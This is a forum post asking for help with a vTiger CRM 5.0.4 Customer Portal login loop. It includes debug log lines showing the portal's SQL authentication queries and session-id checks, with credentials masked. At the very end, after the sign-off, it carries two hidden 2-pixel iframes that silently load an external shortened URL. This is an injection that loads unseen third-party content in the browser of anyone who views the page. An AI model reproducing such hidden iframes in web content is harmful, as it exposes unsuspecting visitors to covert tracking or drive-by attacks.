I cannot login, no error, login screen appears again

Hi there,

I have vTiger 5.0.4 up and running, i've installed the Customer Portal 5.0.4 and everything is fine, i made a contact user and i've got the password, but when i try to login, the login screen appears again, no error, no wrong username and password(if i supply a wrong one, the error appears). also when i checked the database table and the record of me logging in is there.

Please help me fix this problem. Below is the debug info from vtigercrm.log:

04/03/08 02:03:28,067 [1836] INFO VT - PearDatabase ->ADODB disconnect
04/03/08 02:03:28,217 [1836] INFO VT - PearDatabase ->Inside the function authenticate_user(***************, *****, true).
04/03/08 02:03:28,218 [1836] DEBUG customerportal - Prepared sql query being executed : select id, user_name, user_password,last_login_time, support_start_date, support_end_date from vtiger_portalinfo inner join vtiger_customerdetails on vtiger_portalinfo.id=vtiger_customerdetails.customerid inner join vtiger_crmentity on vtiger_crmentity.crmid=vtiger_portalinfo.id where vtiger_crmentity.deleted=0 and user_name=? and user_password = ? and isactive=1 and vtiger_customerdetails.support_end_date >= ?
04/03/08 02:03:28,218 [1836] DEBUG customerportal - Prepared sql query parameters : [**************,*****,2008-04-03]
04/03/08 02:03:28,220 [1836] DEBUG customerportal - Entering makeRandomPassword() method ...
04/03/08 02:03:28,221 [1836] DEBUG customerportal - Exiting makeRandomPassword method ...
04/03/08 02:03:28,221 [1836] INFO VT - PearDatabase ->Inside the function unsetServerSessionId
04/03/08 02:03:28,221 [1836] DEBUG customerportal - query being executed : delete from vtiger_soapservice where type='customer' and id=2
04/03/08 02:03:28,228 [1836] DEBUG customerportal - Prepared sql query being executed : insert into vtiger_soapservice values(?,?,?)
04/03/08 02:03:28,228 [1836] DEBUG customerportal - Prepared sql query parameters : [2,customer,0juetydp]
04/03/08 02:03:28,471 [7924] INFO VT - PearDatabase ->ADODB disconnect
04/03/08 02:03:28,631 [7924] INFO VT - PearDatabase ->INPUT ARRAY for the function update_login_details
04/03/08 02:03:28,632 [7924] INFO VT - PearDatabse ->Array
(
[id] => 2
[sessionid] => 0juetydp
[flag] => login
)

04/03/08 02:03:28,632 [7924] INFO VT - PearDatabase ->Inside function validateSession(2, 0juetydp)
04/03/08 02:03:28,632 [7924] INFO VT - PearDatabase ->Inside the function getServerSessionId(2)
04/03/08 02:03:28,632 [7924] DEBUG customerportal - query being executed : select * from vtiger_soapservice where type='customer' and id=2
04/03/08 02:03:28,650 [7924] INFO VT - PearDatabase ->Checking Server session id and customer input session id ==> 0juetydp == 0juetydp
04/03/08 02:03:28,650 [7924] INFO VT - PearDatabase ->Session id match. Authenticated to do the current operation.
04/03/08 02:03:28,651 [7924] DEBUG customerportal - Prepared sql query being executed : update vtiger_portalinfo set login_time=? where id=?
04/03/08 02:03:29,552 [7924] DEBUG customerportal - Prepared sql query parameters : [2008-04-03 02:03:28,2]

Thanx in advance <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;